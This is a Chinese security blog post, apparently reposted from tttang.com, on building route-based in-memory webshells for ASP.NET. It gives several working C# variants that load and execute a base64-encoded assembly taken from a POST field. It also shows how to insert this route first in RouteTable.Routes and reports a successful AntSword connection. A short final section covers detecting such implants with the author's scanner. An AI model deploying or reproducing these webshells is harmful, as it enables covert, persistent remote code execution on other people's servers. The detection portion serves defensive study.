0x00 前言
asp.net下的内存马研究文章比较少,目前提到过的包括虚拟路径内存马以及HttpListener内存马。最近研究了一下其他类型的内存马,发现.net可以利用的地方要多得多。所以准备写个系列文章,讲一讲asp.net下的内存马。
文章仅作研究性质,不保证任何实战效果,请勿用于非法用途。
上篇讲了asp.net mvc下的filter内存马,必须依赖于system.web.mvc.dll这个东西,也就是只能在.net mvc下使用。那么如何仅利用.net framework里面的dll来实现新的内存马呢。这就引出了今天要讲的route内存马。
0x01 System.Web.Routing
System.Web.Routing这个类最早出现在.net 3.5,主要用于在 ASP.NET 应用程序中处理路由。
微软文档介绍:
Route类使你可以指定如何在ASP.NET应用程序中处理路由。你Route为要映射到的每个URL模式创建一个对象,该对象可以处理与该模式对应的请求。然后,将路由添加到Routes集合。当应用程序收到请求时,ASP.NET路由会循环访问集合中的路由,Routes以查找第一个与URL模式匹配的路由。
将Url属性设置为URL模式。URL模式由传入HTTP请求中的应用程序名称后面的段组成。例如,在URL中http://www.contoso.com/products/show/beverages ,模式适用于 products/show/beverages 。 具有三个段(如)的模式 {controller}/{action}/{id} 与 URL 匹配 http://www.contoso.com/products/show/beverages 。 每个段均由 / 字符分隔。 当段括在大括号中 ({ 和 }) 时,段会被称为 URL 参数。 ASP.NET 路由从请求中检索值并将其分配给 URL 参数。 在上面的示例中,将为 URL 参数 action 分配值 show 。 如果段未括在大括号中,则该值将被视为文本值。
将Defaults属性设置为一个RouteValueDictionary对象,该对象包含在url缺少参数时使用的值,或者设置未在url中参数化的其他值。将Constraints属性设置为RouteValueDictionary包含正则表达式或对象的值的对象IRouteConstraint。这些值用于确定参数值是否有效。
如果我们能够动态打进去一个路由,然后映射到我们自定义的类,即可实现内存马的效果。
0x02 Route内存马
那么如何添加呢?我们上一篇文章看到了在mvc中是存在一个GlobalFilters.Filters来存放filter,第二个RouteTable.Routes便是存放全局route的collection。
publicclass MvcApplication:System.Web.HttpApplication
{
protectedvoidApplication_Start()
{
AreaRegistration.RegisterAllAreas();
FilterConfig.RegisterGlobalFilters(GlobalFilters.Filters);
RouteConfig.RegisterRoutes(RouteTable.Routes);
BundleConfig.RegisterBundles(BundleTable.Bundles);
}
}
这里提一嘴为啥不能直接用mvc下面的RouteConfig.RegisterRoutes来注册route
点进函数可以看到调用了System.Web.Mvc.RouteCollectionExtensions.MapRoute方法,而这个方法也是要依赖System.Web.Mvc.dll的。所以不能直接拿来用。
publicclass RouteConfig
{
publicstaticvoidRegisterRoutes(RouteCollectionroutes)
{
routes.IgnoreRoute("{resource}.axd/{*pathInfo}");
routes.MapRoute(
name:"Default",
url:"{controller}/{action}/{id}",
defaults:new{controller="Home",action="Index",id=UrlParameter.Optional}
);
}
}
一路寻找重载,发现实际上就是给RouteTable.Routes里面增加了一个元素,我们直接调用route.Add即可。
System.Web.Routing.RouteCollection.Add第一个参数是名字,不过没有太大用处,只是为了判断map里面有没有重复的。第二个参数是重点,要打进去一个RouteBase类型的item。RouteBase是个抽象类,默认的实现为System.Web.Routing.Route。
这里就有不同的操作方式了,第一种是自己实现一个RouteBase,第二种是new一个System.Web.Routing.Route对象。
自己实现RouteBase
继承RouteBase需要实现两个方法:
GetRouteData(HttpContextBase) | 在派生类中重写时,返回关于请求的路由信息。 |
---|---|
GetVirtualPath(RequestContext, RouteValueDictionary) | 在派生类中重写时,检查路由是否与指定的值匹配,如果匹配,则生成 URL,并检索有关该路由的信息。 |
这个点是目前来看最佳的注入点,beichen师傅在kcon的演讲中也是用的这个函数。改写GetRouteData方法,里面加入我们的shell逻辑即可。这里HttpContextBase是个抽象类,具体的实现是HttpContextWrapper,需要用到反射来获取我们需要的request跟response。
这里注意一定要加HttpResponse.End(),具体原因大家可以思考一下。
publicclass MyRoute:RouteBase
{
publicoverrideRouteDataGetRouteData(HttpContextBasehttpContext)
{
StringPayload=httpContext.Request.Form["ant"];
if(Payload!=null)
{
FieldInforequestField=
typeof(HttpRequestWrapper).GetField("_httpRequest",BindingFlags.Instance|BindingFlags.NonPublic);
HttpRequesthttpRequest=
(HttpRequest)requestField.GetValue(httpContext.Request);
FieldInforesponseField=
typeof(HttpResponseWrapper).GetField("_httpResponse",
BindingFlags.Instance|BindingFlags.NonPublic);
HttpResponsehttpResponse=
(HttpResponse)responseField.GetValue(httpContext.Response);
System.Reflection.Assemblyassembly=System.Reflection.Assembly.Load(Convert.FromBase64String(Payload));
assembly.CreateInstance(assembly.GetName().Name+".Run").Equals(newobject[]{httpRequest,httpResponse});
httpResponse.End();
}
returnnull;
}
publicoverrideVirtualPathDataGetVirtualPath(RequestContextrequestContext,RouteValueDictionaryvalues)
{
returnnull;
}
}
更简单的一种做法是直接用HttpContext.Current就获取当前的Context对象,传入Equals里即可。
publicclass MyRoute:RouteBase
{
publicoverrideRouteDataGetRouteData(HttpContextBasehttpContext)
{
HttpContextcontext=HttpContext.Current;
StringPayload=httpContext.Request.Form["ant"];
if(Payload!=null)
{
System.Reflection.Assemblyassembly=System.Reflection.Assembly.Load(Convert.FromBase64String(Payload));
assembly.CreateInstance(assembly.GetName().Name+".Run").Equals(context);
context.Response.End();
}
returnnull;
}
publicoverrideVirtualPathDataGetVirtualPath(RequestContextrequestContext,RouteValueDictionaryvalues)
{
returnnull;
}
}
将我们的逻辑注入到GetRouteData函数中,这是第一种写法。
其实用GetVirtualPath也是可以注入我们的逻辑的,这是第二种写法。
publicclass MyRoute:RouteBase
{
publicoverrideRouteDataGetRouteData(HttpContextBasehttpContext)
{
returnnull;
}
publicoverrideVirtualPathDataGetVirtualPath(RequestContextrequestContext,RouteValueDictionaryvalues)
{
HttpContextcontext=HttpContext.Current;
StringPayload=context.Request.Form["ant"];
if(Payload!=null)
{
System.Reflection.Assemblyassembly=System.Reflection.Assembly.Load(Convert.FromBase64String(Payload));
assembly.CreateInstance(assembly.GetName().Name+".Run").Equals(context);
context.Response.End();
}
returnnull;
}
}
那么到底哪个函数会更先被调用呢?我在两个函数,以及Controller里分别加了一条打印的语句。
发现顺序是 GetRouteData>Controller>GetVirtualPath,所以还是GetRouteData比较好用。
利用System.Web.Routing.Route
另一种做法就是沿着现有实现类Route的逻辑来走。
他的构造类需要两个参数,第一个是url pattern,第二个是对应的处理handler。
实现IRouteHandler接口需要实现GetHttpHandler方法,需要返回一个实现了IHttpHandler的handler
这里其实又有不同的操作了,内存马的本质是我们把恶意的代码注入到了一个每次Web请求都会触发的地方。
所以我们既可以在RouteHandler中添加恶意逻辑,也可以在实现的HttpHandler里加恶意逻辑。
publicclass MyRoute:IRouteHandler
{
publicIHttpHandlerGetHttpHandler(RequestContextrequestContext)
{
HttpContextcontext=HttpContext.Current;
StringPayload=context.Request.Form["ant"];
if(Payload!=null)
{
System.Reflection.Assemblyassembly=System.Reflection.Assembly.Load(Convert.FromBase64String(Payload));
assembly.CreateInstance(assembly.GetName().Name+".Run").Equals(context);
context.Response.End();
}
returnnull;
}
}
报错不影响连接,如果有强迫症可以实现一个空的IHttpHandler。
主要逻辑在ProcessRequest里,这是第四种写法
publicclass MyRoute:IRouteHandler
{
publicIHttpHandlerGetHttpHandler(RequestContextrequestContext)
{
returnnewMyhandler(requestContext);
}
}
publicclass Myhandler:IHttpHandler
{
publicRequestContextRequestContext{get;privateset;}
publicMyhandler(RequestContextcontext)
{
this.RequestContext=context;
}
publicvoidProcessRequest(HttpContextcontext)
{
StringPayload=context.Request.Form["ant"];
if(Payload!=null)
{
System.Reflection.Assemblyassembly=System.Reflection.Assembly.Load(Convert.FromBase64String(Payload));
assembly.CreateInstance(assembly.GetName().Name+".Run").Equals(context);
context.Response.End();
}
context.Response.End();
}
publicboolIsReusable
{
get{returnfalse;}
}
}
文档:https://docs.microsoft.com/zh-cn/dotnet/api/system.web.routing.route.url?view=netframework-3.5
将值分配给Url属性时,在/分析URL时,字符被解释为分隔符。使用大括号({})来定义称为URL参数的变量。将URL中的匹配段的值分配给URL参数。Url未括在大括号中的属性中的任何值都将被视为文本常量。
?不允许在属性中使用该字符Url。必须通过分隔符或文本常量分隔每个URL段。可以将{{或}}用作大括号字符的转义符。
用这种方式有一个问题,Route的URL默认没有正则,不能像java一样直接指定/*,但是可以用{xxx}来表示任意变量
在此为了不影响业务,我们选择一个只有自己知道的开头的字符串
newRoute("mr6{page}",newMyRoute())
这样任意/mr6xxxxx 都可以连接。
添加到第一位
跟mvc的filter不同的是,Route的add方法没有order参数的选项,所以依然要考虑如何把我们的shell添加到第一位的问题。
RouteCollection本质是个Collection,所以只需要调用Insert方法,并且指定位置为0即可把我们的shell添加到第一位。
RouteCollectionroutes=RouteTable.Routes;
routes.Insert(0,(RouteBase)newMyRoute());
至此我们的内存马大业就算完成了。
0x03 测试
访问注入内存马的aspx,一片空白说明注入成功
蚁剑中输入任意url,连接成功。
0x04 检测内存马
本人写了个小脚本 ASP.NET-Memshell-Scanner,可用于各类内存马的检测。
下载项目中的检测脚本 https://github.com/yzddmr6/ASP.NET-Memshell-Scanner/blob/master/aspx-memshell-scanner.aspx,放到网站目录下,浏览器访问。
其中id为1的是使用本文中实现RouteBase的方式注入的内存马,这种情况下Router Type为攻击者自己设置的类名,并且没有RouteHandler。
id为2的是使用本文中利用System.Web.Routing.Route注入的内存马,这种情况下Router Type为System.Web.Routing.Route,RouteHandler Type为攻击者自己设置的类名,并且存在URL路径。
实锤方法同上文,找到可疑Router的CodeBase文件,使用dnspy等反编译工具打开。
找到类名对应的文件,发现恶意代码,即可确认被注入了内存马。
0x05 参考
https://docs.microsoft.com/zh-cn/dotnet/api/system.web.routing.route?view=netframework-3.5
https://www.cnblogs.com/liangxiaofeng/p/5619866.html
https://www.programminghunter.com/article/8505151604/
https://mp.weixin.qq.com/s/cm8pPAw7dZ-iMb4LvVXAlQ
FROM:tttang . com
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论